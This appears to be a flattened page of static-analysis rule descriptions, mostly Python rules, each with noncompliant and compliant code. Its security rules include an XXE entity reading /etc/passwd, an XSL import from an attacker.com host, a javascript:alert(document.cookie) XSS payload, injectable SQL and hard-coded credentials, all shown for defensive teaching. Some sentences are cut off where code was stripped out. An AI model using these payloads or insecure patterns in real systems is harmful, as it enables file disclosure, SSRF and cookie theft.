XML specification allows the use of entities that can be internal or external (file system / network access ...) which could lead to vulnerabilities such as confidential file disclosures or SSRFs. Example in this XML document, an external entity read the /etc/passwd file: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <note xmlns="http://www.w3schools.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <to>&xxe;</to> <from>Jani</from> <heading>Reminder</heading> <body>Don't forget me this weekend!</body> </note> In this XSL document, network access is allowed which can lead to SSRF vulnerabilities: <?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.attacker.com/evil.xsl"> <xsl:import href="http://www.attacker.com/evil.xsl"/> <xsl:include href="http://www.attacker.com/evil.xsl"/> <xsl:template match="/"> &content; </xsl:template> </xsl:stylesheet> It is recommended to disable access to external entities and network access in general. Noncompliant Code Examplelxml module:
parser = etree.XMLParser() # Noncompliant: by default resolve_entities is set to true tree1 = etree.parse('ressources/xxe.xml', parser) root1 = tree1.getroot() parser = etree.XMLParser(resolve_entities=True) # Noncompliant tree1 = etree.parse('ressources/xxe.xml', parser) root1 = tree1.getroot()
parser = etree.XMLParser(resolve_entities=True) # Noncompliant treexsd = etree.parse('ressources/xxe.xsd', parser) rootxsd = treexsd.getroot() schema = etree.XMLSchema(rootxsd)
ac = etree.XSLTAccessControl(read_network=True, write_network=False) # Noncompliant, read_network is set to true/network access is authorized transform = etree.XSLT(rootxsl, access_control=ac) xml.sax module: parser = xml.sax.make_parser() myHandler = MyHandler() parser.setContentHandler(myHandler) parser.setFeature(feature_external_ges, True) # Noncompliant parser.parse("ressources/xxe.xml") Compliant Solutionlxml module:
parser = etree.XMLParser(resolve_entities=False, no_network=True) # Compliant tree1 = etree.parse('ressources/xxe.xml', parser) root1 = tree1.getroot()
parser = etree.XMLParser(resolve_entities=False) # Compliant: by default no_network is set to true treexsd = etree.parse('ressources/xxe.xsd', parser) rootxsd = treexsd.getroot() schema = etree.XMLSchema(rootxsd) # Compliant
parser = etree.XMLParser(resolve_entities=False) # Compliant treexsl = etree.parse('ressources/xxe.xsl', parser) rootxsl = treexsl.getroot() ac = etree.XSLTAccessControl.DENY_ALL # Compliant transform = etree.XSLT(rootxsl, access_control=ac) # Compliant To prevent xxe attacks with xml.sax module (for other security reasons than XXE, xml.sax is not recommended): parser = xml.sax.make_parser() myHandler = MyHandler() parser.setContentHandler(myHandler) parser.parse("ressources/xxe.xml") # Compliant: in version 3.7.1: The SAX parser no longer processes general external entities by default parser.setFeature(feature_external_ges, False) # Compliant parser.parse("ressources/xxe.xml") See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5747 |
A bare If the bare Note also that using a bare This rule raises an exception when a bare Noncompliant Code Exampleraise # Noncompliant def foo(): raise # Noncompliant try: raise # Noncompliant except ValueError as e: handle_error() except: raise else: raise # Noncompliant finally: raise def handle_error(): raise # Noncompliant. This works but is hard to understand. Compliant Solutionraise ValueError() def foo(): raise ValueError() try: raise ValueError() except: raise else: raise ValueError() finally: raise See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S2757 |
The use of operators pairs ( This rule raises an issue when Noncompliant Code Exampletarget = -5 num = 3 target =- num # Noncompliant; target = -3. Is that really what's meant? target =+ num # Noncompliant; target = 3 Compliant Solutiontarget = -5 num = 3 target = -num # Compliant; intent to assign inverse value of num is clear target += num |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S2638 |
Because a subclass instance may be used as an instance of the superclass, overriding methods should uphold the aspects of the superclass contract that relate to the Liskov Substitution Principle. Specifically, an overriding method should be callable with the same parameters as the overriden one. The following modifications are ok: * Adding an optional parameter, i.e. with a default value, as long as they don't change the order of positional parameters. * Renaming a positional-only parameter. * Reordering keyword-only parameters. * Adding a default value to an existing parameter. * Changing the default value of an existing parameter. * Extend the ways a parameter can be provided, i.e. change a keyword-only or positional-only parameter to a keyword-or-positional parameter. This is only true if the order of positional parameters doesn't change. New positional parameters should be placed at the end. * Adding a vararg parameter ( * Adding a keywords parameter ( The following modifications are not ok: * Removing parameters, even when they have default values. * Adding mandatory parameters, i.e. without a default value. * Removing the default value of a parameter. * Reordering parameters, except when they are keyword-only parameters. * Removing some ways of providing a parameter. If a parameter could be passed as keyword it should still be possible to pass it as keyword, and the same is true for positional parameters. * Removing a vararg parameter ( * Removing a keywords parameter ( This rule raises an issue when the signature of an overriding method does not accept the same parameters as the overriden one. Only instance methods are considered, class methods and static methods are ignored. Noncompliant Code Example:class ParentClass(object): def mymethod(self, param1): pass class ChildClassMore(ParentClass): def mymethod(self, param1, param2, param3): # Noncompliant * 2. # Remove parameter "param2" or provide a default value. # Remove parameter "param3" or provide a default value. pass class ChildClassLess(ParentClass): def mymethod(self): # Noncompliant. Add missing parameter "param1". pass class ChildClassReordered(ParentClass): def mymethod(self, inserted, param1): # Noncompliant # Remove parameters "inserted" or provide a default value. pass Compliant Solution:class ParentClass(object): def mymethod(self, param1): pass class ChildClassMore(ParentClass): def mymethod(self, param1, param2=None, param3=None): pass class ChildClassLess(ParentClass): def mymethod(self, param1=None): pass class ChildClassReordered(ParentClass): def mymethod(self, param1, inserted=None): pass ExceptionsIn theory renaming parameters also breaks Liskov Substitution Principle. Arguments can't be passed via keyword arguments anymore. However, as PEP-570 says, it is common to rename parameters when it improves code readability and when arguments are always passed by position. "Positional-Only Parameters" were introduced in python 3.8 to solve this problem. As most programs will need to support older versions of python, this rule won't raise an issue on renamed parameters. class ParentClass(object): def mymethod(self, param1): pass class ChildClassRenamed(ParentClass): def mymethod(self, renamed): # No issue but this is suspicious. Rename this parameter as "param1" or use positional only arguments if possible. pass See* Wikipedia - Liskov substitution principle * Python Enhancement Proposal (PEP) 3102 - Keyword-Only Arguments * Python Enhancement Proposal (PEP) 570 - Python Positional-Only Parameters |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:PreIncrementDecrement |
Python has no pre/post increment/decrement operator. For instance, Noncompliant Code Example++x # Noncompliant Compliant Solutionx += 1 |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S2077 |
Formatting strings used as SQL queries is security-sensitive. It has led in the past to the following vulnerabilities: SQL queries often need to use a hardcoded SQL string with a dynamic parameter coming from a user request. Formatting a string to add those parameters to the request is a bad practice as it can result in an SQL injection. The safe way to add parameters to a SQL query is to use SQL binding mechanisms. Note that this rule does not detect SQL injections. This rule flags the execution of formatted SQL via Django APIs. The goal is to guide security code reviews and to prevent a common bad practice. A string is considered formatted if it uses one of the following operations:
Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
You can also reduce the impact of an attack by using a database account with low privileges. Sensitive Code Examplefrom django.db import models from django.db import connection from django.db import connections from django.db.models.expressions import RawSQL value = input() class MyUser(models.Model): name = models.CharField(max_length=200) def query_my_user(request, params, value): with connection.cursor() as cursor: cursor.execute("{0}".format(value)) # Sensitive # https://docs.djangoproject.com/en/2.1/ref/models/expressions/#raw-sql-expressions RawSQL("select col from %s where mycol = %s and othercol = " + value, ("test",)) # Sensitive # https://docs.djangoproject.com/en/2.1/ref/models/querysets/#extra MyUser.objects.extra( select={ 'mycol': "select col from sometable here mycol = %s and othercol = " + value}, # Sensitive select_params=(someparam,), }, ) Compliant Solutioncursor = connection.cursor(prepared=True) sql_insert_query = """ select col from sometable here mycol = %s and othercol = %s """ select_tuple = (1, value) cursor.execute(sql_insert_query, select_tuple) # Compliant, the query is parameterized connection.commit() See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S1142 |
Having too many return statements in a function increases the function's essential complexity because the flow of execution is broken each time a return statement is encountered. This makes it harder to read and understand the logic of the function. Noncompliant Code ExampleWith the default threshold of 3: def fun(): # Noncompliant as there are 4 return statements if condition1: return True elif condition2: return False else: return True return False |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S1143 |
Using
If you need to ignore every other exception you can simply catch the In python 2 it is possible to raise old style classes. You can use a bare This rule raises an issue when a jump statement ( Noncompliant Code Exampledef find_file_which_contains(expected_content, paths): file = None for path in paths: try: # "open" will raise IsADirectoryError if the provided path is a directory but it will be stopped by the "return" and "continue" file = open(path, 'r') actual_content = file.read() except FileNotFoundError as exception: # This exception will never pass the "finally" block because of "return" and "continue" raise ValueError(f"'paths' should only contain existing files. File ${path} does not exist.") finally: file.close() if actual_content != expected_content: # Note that "continue" is allowed in a "finally" block only since python 3.8 continue # Noncompliant. This will prevent exceptions raised by the "try" block and "except" block from raising. else: return path # Noncompliant. Same as for "continue" return None # This will return None instead of raising ValueError from the "except" block find_file_which_contains("some content", ["file_which_does_not_exist"]) # This will return None instead of raising IsADirectoryError from the "try" block find_file_which_contains("some content", ["a_directory"]) import sys while True: try: sys.exit(1) except (SystemExit) as e: print("Exiting") raise finally: break # This will prevent SystemExit from raising def continue_whatever_happens_noncompliant(): for i in range(10): try: raise ValueError() finally: continue # Noncompliant Compliant Solution# Note that using "with open(...) as" would be better. We keep the example as is just for demonstration purpose. def find_file_which_contains(expected_content, paths): file = None for path in paths: try: file = open(path, 'r') actual_content = file.read() if actual_content != expected_content: continue else: return path except FileNotFoundError as exception: raise ValueError(f"'paths' should only contain existing files. File ${path} does not exist.") finally: if file: file.close() return None # This raises ValueError find_file_which_contains("some content", ["file_which_does_not_exist"]) # This raises IsADirectoryError find_file_which_contains("some content", ["a_directory"]) import sys while True: try: sys.exit(1) except (SystemExit) as e: print("Exiting") raise # SystemExit is re-raised import logging def continue_whatever_happens_compliant(): for i in range(10): try: raise ValueError() except Exception: logging.exception("Failed") # Ignore all "Exception" subclasses yet allow SystemExit and other important exceptions to pass See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S1144 |
"Class-Private" methods that are never executed inside their enclosing class are dead code: unnecessary, inoperative code that should be removed. Cleaning out dead code decreases the size of the maintained codebase, making it easier to understand the program and preventing bugs from being introduced. Python has no real private methods. Every method is accessible. There are however two conventions indicating that a method is not meant to be "public":
This rule raises an issue when a class-private method (two leading underscores, max one underscore at the end) is never called inside the class. Class methods, static methods and instance methods will all raise an issue. Noncompliant Code Exampleclass Noncompliant: @classmethod def __mangled_class_method(cls): # Noncompliant print("__mangled_class_method") @staticmethod def __mangled_static_method(): # Noncompliant print("__mangled_static_method") def __mangled_instance_method(self): # Noncompliant print("__mangled_instance_method") Compliant Solutionclass Compliant: def __init__(self): Compliant.__mangled_class_method() Compliant.__mangled_static_method() self.__mangled_instance_method() @classmethod def __mangled_class_method(cls): print("__mangled_class_method") @staticmethod def __mangled_static_method(): print("__mangled_static_method") def __mangled_instance_method(self): print("__mangled_instance_method") See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S1542 |
Shared coding conventions allow teams to collaborate efficiently. This rule checks that all function names match a provided regular expression. Noncompliant Code ExampleWith the default provided regular expression: def MyFunction(a,b): ... Compliant Solutiondef my_function(a,b): ... |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5864 |
Checking that variable X has type T with type annotations implies that X's value is of type T or a subtype of T. After such a check, it is a good practice to limit actions on X to those allowed by type T, even if a subclass of T allows different actions. Doing otherwise will confuse your fellow developers. Just to be clear, it is common in python to perform an action without checking first if it is possible (see "Easier to ask for forgiveness than permission."). However when type checks are performed, they should not contradict the following actions. This rule raises an issue when an action performed on a variable might be possible, but it contradicts a previous type check. The list of checked actions corresponds to rules S2159, S3403, S5607, S5756, S5644, S3862, S5797, S5795 and S5632. These other rules only detect cases where the type of a variable is certain, i.e. it cannot be a subclass. Noncompliant Code Exampledef add_the_answer(param: str): return param + 42 # Noncompliant. Fix this "+" operation; Type annotation on "param" suggest that operands have incompatible types. # Note: In practice it is possible to create a class inheriting from both "str" and "int", but this would be a very confusing design. Compliant Solutiondef add_the_answer(param: str): return param + "42" See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S2115 |
Databases should always be password protected. The use of a database connection with an empty password is a clear indication of a database that is not protected. This rule flags database connections with empty passwords. Noncompliant Code ExampleFlask-SQLAlchemy def configure_app(app): app.config['SQLALCHEMY_DATABASE_URI'] = "postgresql://user:@domain.com" # Noncompliant Django # settings.py DATABASES = { 'postgresql_db': { 'ENGINE': 'django.db.backends.postgresql', 'NAME': 'quickdb', 'USER': 'sonarsource', 'PASSWORD': '', # Noncompliant 'HOST': 'localhost', 'PORT': '5432' } } mysql/mysql-connector-python from mysql.connector import connection connection.MySQLConnection(host='localhost', user='sonarsource', password='') # Noncompliant Compliant SolutionFlask-SQLAlchemy def configure_app(app, pwd): app.config['SQLALCHEMY_DATABASE_URI'] = f"postgresql://user:{pwd}@domain.com" # Compliant Django # settings.py import os DATABASES = { 'postgresql_db': { 'ENGINE': 'django.db.backends.postgresql', 'NAME': 'quickdb', 'USER': 'sonarsource', 'PASSWORD': os.getenv('DB_PASSWORD'), # Compliant 'HOST': 'localhost', 'PORT': '5432' } } mysql/mysql-connector-python from mysql.connector import connection import os db_password = os.getenv('DB_PASSWORD') connection.MySQLConnection(host='localhost', user='sonarsource', password=db_password) # Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S108 |
Most of the time a block of code is empty when a piece of code is really missing. So such empty block must be either filled or removed. Noncompliant Code Examplefor i in range(3): pass ExceptionsWhen a block contains a comment, this block is not considered to be empty. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S107 |
A long parameter list can indicate that a new structure should be created to wrap the numerous parameters or that the function is doing too many things. Noncompliant Code ExampleWith a maximum number of 4 parameters: def do_something(param1, param2, param3, param4, param5): ... Compliant Solutiondef do_something(param1, param2, param3, param4): ... ExceptionsThe first argument of non-static methods, i.e. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S104 |
A source file that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain. Above a specific threshold, it is strongly advised to refactor it into smaller pieces of code which focus on well defined tasks. Those smaller files will not only be easier to understand but also probably easier to test. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S905 |
Any statement, other than a Noncompliant Code Examplea == 1 # Noncompliant; was assignment intended? a < b # Noncompliant; have we forgotten to assign the result to a variable? ExceptionsStrings Some projects use string literals as comments. By default, this rule will not raise an issue on these strings. Reporting on string literals can be enabled by setting the rule parameter "reportOnStrings" to "true". class MyClass: myattr = 42 """This is an attribute""" # Noncompliant by default. Set "reportOnStrings" to "false" Operators By default, this rule considers that no arithmetic operator has a side effect. Some rare projects redefine operators and add a side effect. You can list such operators in the rule parameter "ignoredOperators". def process(p, beam): """ Apache Beam redefines "|" and ">>" operators and they have a side effect. Thus for Apache Beam projects "ignoredOperators"should be set to "|,>>" """ p | "create" >> beam.Create() # Noncompliant by default See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S1656 |
There is no reason to re-assign a variable to itself. Either this statement is redundant and should be removed, or the re-assignment is a mistake and some other value or variable was intended for the assignment instead. Noncompliant Code Examplename = name Compliant Solutionname = other.name See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:LineLength |
Having to scroll horizontally makes it harder to get a quick overview and understanding of any piece of code. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:ParsingError |
When the Python parser fails, it is possible to record the failure as a violation on the file. This way, not only it is possible to track the number of files that do not parse but also to easily find out why they do not parse. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:BackticksUsage |
Backticks are a deprecated alias for Noncompliant Code Examplereturn `num` # Noncompliant Compliant Solutionreturn repr(num) |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S4487 |
Private attributes which are written but never read are a clear case of dead store. Changing their value is useless and most probably indicates a serious error in the code. Python has no real private attribute. Every attribute is accessible. There are however two conventions indicating that an attribute is not meant to be "public":
This rule raises an issue when a class-private attribute (two leading underscores, max one underscore at the end) is never read inside the class. It optionally raises an issue on unread attributes prefixed with a single underscore. Both class attribute and instance attributes will raise an issue. Noncompliant Code Exampleclass Noncompliant: _class_attr = 0 # Noncompliant if enable_single_underscore_issues is enabled __mangled_class_attr = 1 # Noncompliant def __init__(self, value): self._attr = 0 # Noncompliant if enable_single_underscore_issues is enabled self.__mangled_attr = 1 # Noncompliant def compute(self, x): return x * x Compliant Solutionclass Compliant: _class_attr = 0 __mangled_class_attr = 1 def __init__(self, value): self._attr = 0 self.__mangled_attr = 1 def compute(self, x): return x * Compliant._class_attr * Compliant.__mangled_class_attr * self._attr * self.__mangled_attr See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S112 |
Raising instances of First, the only way to handle differently multiple Exceptions is to check their message, which is error-prone and difficult to maintain. What's more, it becomes difficult to catch only your exception. The best practice is to catch only exceptions which require a specific handling.
When you raise It is recommended to either:
This rule raises an issue when Noncompliant Code Exampledef process1(): raise BaseException("Wrong user input for field X") # Noncompliant def process2(): raise BaseException("Wrong configuration") # Noncompliant def process3(param): if not isinstance(param, int): raise Exception("param should be an integer") # Noncompliant def caller(): try: process1() process2() process3() except BaseException as e: if e.args[0] == "Wrong user input for field X": # process error pass elif e.args[0] == "Wrong configuration": # process error pass else: # re-raise other exceptions raise Compliant Solutionclass MyProjectError(Exception): """Exception class from which every exception in this library will derive. It enables other projects using this library to catch all errors coming from the library with a single "except" statement """ pass class BadUserInputError(MyProjectError): """A specific error""" pass class ConfigurationError(MyProjectError): """A specific error""" pass def process1(): raise BadUserInputError("Wrong user input for field X") def process2(): raise ConfigurationError("Wrong configuration") def process3(param): if not isinstance(param, int): raise TypeError("param should be an integer") def caller(): try: process1() process2() process3() except BadUserInputError as e: # process error pass except ConfigurationError as e: # process error pass See
See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S1131 |
Trailing whitespaces are simply useless and should not stay in code. They may generate noise when comparing different versions of the same file. If you encounter issues from this rule, this probably means that you are not using an automated code formatter - which you should if you have the opportunity to do so. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5332 |
Clear-text protocols as
Note also that using the In the past, it has led to the following vulnerabilities: Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
It is recommended to secure all transport channels (event local network) as it can take a single non secure connection to compromise an entire application or system. Sensitive Code Exampleurl = "http://example.com" # Sensitive url = "ftp://anonymous@example.com" # Sensitive url = "telnet://anonymous@example.com" # Sensitive import telnetlib cnx = telnetlib.Telnet("towel.blinkenlights.nl") # Sensitive import ftplib cnx = ftplib.FTP("ftp.example.com") # Sensitive import smtplib smtp = smtplib.SMTP("smtp.example.com", port=587) # Sensitive Compliant Solutionurl = "https://example.com" # Compliant url = "sftp://anonymous@example.com" # Compliant url = "ssh://anonymous@example.com" # Compliant import ftplib cnx = ftplib.FTP_TLS("ftp.example.com") # Compliant import smtplib smtp = smtplib.SMTP("smtp.example.com", port=587) # Compliant smtp.starttls(context=context) smtp_ssl = smtplib.SMTP_SSL("smtp.gmail.com", port=465) # Compliant ExceptionsNo issue is reported for the following cases because they are not considered sensitive:
See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S2068 |
Because it is easy to extract strings from an application source code or binary, credentials should not be hard-coded. This is particularly true for applications that are distributed or that are open-source. In the past, it has led to the following vulnerabilities: Credentials should be stored outside of the code in a configuration file, a database or secret management service. This rule flags instances of hard-coded credentials used in database and LDAP connections. It looks for hard-coded credentials in connection strings, and for variable names that match any of the patterns from the provided list. It's recommended to customize the configuration of this rule with additional credential words such as "oauthToken", "secret", ... Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code Exampleusername = 'admin' password = 'admin' # Sensitive usernamePassword = 'user=admin&password=admin' # Sensitive Compliant Solutionimport os username = os.getenv("username") # Compliant password = os.getenv("password") # Compliant usernamePassword = 'user=%s&password=%s' % (username, password) # Compliant{code} See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S1134 |
Sometimes the developer will not have the time or will simply forget to get back to that tag. This rule is meant to track those tags and to ensure that they do not go unnoticed. Noncompliant Code Exampledef divide(numerator, denominator): return numerator / denominator # FIXME denominator value might be 0 See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-css:InsufficientBranchCoverage |
An issue is created on a file as soon as the branch coverage on this file is less than the required threshold. It gives the number of branches to be covered in order to reach the required threshold.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-css:InsufficientLineCoverage |
An issue is created on a file as soon as the line coverage on this file is less than the required threshold. It gives the number of lines to be covered in order to reach the required threshold.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-css:InsufficientCommentDensity |
An issue is created on a file as soon as the density of comment lines on this file is less than the required threshold. The number of comment lines to be written in order to reach the required threshold is provided by each issue message.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-css:DuplicatedBlocks |
An issue is created on a file as soon as there is at least one block of duplicated code on this file
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-css:SkippedUnitTests |
Skipped unit tests are considered as dead code. Either they should be activated again (and updated) or they should be removed.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-css:FailedUnitTests |
Test failures or errors generally indicate that regressions have been introduced. Those tests should be handled as soon as possible to reduce the cost to fix the corresponding regressions.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S2092 |
When a cookie is protected with the Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code Examplecookie-session module: let session = cookieSession({ secure: false,// Sensitive }); // Sensitive express-session module: const express = require('express'); const session = require('express-session'); let app = express(); app.use(session({ cookie: { secure: false // Sensitive } })); cookies module: let cookies = new Cookies(req, res, { keys: keys }); cookies.set('LastVisit', new Date().toISOString(), { secure: false // Sensitive }); // Sensitive csurf module: const cookieParser = require('cookie-parser'); const csrf = require('csurf'); const express = require('express'); let csrfProtection = csrf({ cookie: { secure: false }}); // Sensitive Compliant Solutioncookie-session module: let session = cookieSession({ secure: true,// Compliant }); // Compliant express-session module: const express = require('express'); const session = require('express-session'); let app = express(); app.use(session({ cookie: { secure: true // Compliant } })); cookies module: let cookies = new Cookies(req, res, { keys: keys }); cookies.set('LastVisit', new Date().toISOString(), { secure: true // Compliant }); // Compliant csurf module: const cookieParser = require('cookie-parser'); const csrf = require('csurf'); const express = require('express'); let csrfProtection = csrf({ cookie: { secure: true }}); // Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S5122 |
Having a permissive Cross-Origin Resource Sharing policy is security-sensitive. It has led in the past to the following vulnerabilities: Same origin policy in browsers prevents, by default and for security-reasons, a javascript frontend to perform a cross-origin HTTP request to a resource that has a different origin (domain, protocol, or port) from its own. The requested target can append additional HTTP headers in response, called CORS, that act like directives for the browser and change the access control policy / relax the same origin policy. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code Examplenodejs http built-in module: const http = require('http'); const srv = http.createServer((req, res) => { res.writeHead(200, { 'Access-Control-Allow-Origin': '*' }); // Sensitive res.end('ok'); }); srv.listen(3000); Express.js framework with cors middleware: const cors = require('cors'); let app1 = express(); app1.use(cors()); // Sensitive: by default origin is set to * let corsOptions = { origin: '*' // Sensitive }; let app2 = express(); app2.use(cors(corsOptions)); Compliant Solutionnodejs http built-in module: const http = require('http'); const srv = http.createServer((req, res) => { res.writeHead(200, { 'Access-Control-Allow-Origin': 'trustedwebsite.com' }); // Compliant res.end('ok'); }); srv.listen(3000); Express.js framework with cors middleware: const cors = require('cors'); let corsOptions = { origin: 'trustedwebsite.com' // Compliant }; let app = express(); app.use(cors(corsOptions)); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S4275 |
Getters and setters provide a way to enforce encapsulation by providing This rule raises an issue in any of these cases:
Noncompliant Code Exampleclass A { private _x: number = 0; private y: number = 0; public get x() { // Noncompliant: field 'x' is not used in the return value return this.y; } public setX(val: number) { // Noncompliant: field 'x' is not updated this.y = val; } public getY() { // Noncompliant: field 'y' is not used in the return value return this.x; } } Compliant Solutionclass A { private _x: number = 0; private y: number = 0; public get x() { return this._x; } public setX(val: number) { this.x = val; } public getY() { return this.y; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S4030 |
When a collection is populated but its contents are never used, then it is surely some kind of mistake. Either refactoring has rendered the collection moot, or an access is missing. This rule raises an issue when no methods are called on a collection other than those that add or remove values. Noncompliant Code Examplefunction getLength(a, b, c) { const strings = []; // Noncompliant strings.push(a); strings.push(b); strings.push(c); return a.length + b.length + c.length; } Compliant Solutionfunction getLength(a, b, c) { return a.length + b.length + c.length; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3504 |
ECMAScript 2015 introduced the The distinction between the variable types created by Because these new keywords create more precise variable types, they are preferred in environments that support ECMAScript 2015. However, some
refactoring may be required by the switch from This rule raises an issue when Noncompliant Code Examplevar color = "blue"; var size = 4; Compliant Solutionconst color = "blue"; let size = 4; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3626 |
Jump statements, such as Noncompliant Code Examplefunction redundantJump(x) { if (x == 1) { console.log("x == 1"); return; // Noncompliant } } Compliant Solutionfunction redundantJump(x) { if (x == 1) { console.log("x == 1"); } } Exceptions
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S5247 |
To reduce the risk of cross-site scripting attacks, templating systems, such as Auto-escaping is not a magic feature to annihilate all cross-site scripting attacks, it depends on the strategy applied and the context, for example a "html auto-escaping" strategy
(which only transforms html characters into html entities) will not be relevant
when variables are used in a html attribute because ' <a href="{{ myLink }}">link</a> // myLink = javascript:alert(document.cookie) <a href="javascript:alert(document.cookie)">link</a> // JS injection (XSS attack) Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesEnable auto-escaping by default and continue to review the use of inputs in order to be sure that the chosen auto-escaping strategy is the right one.
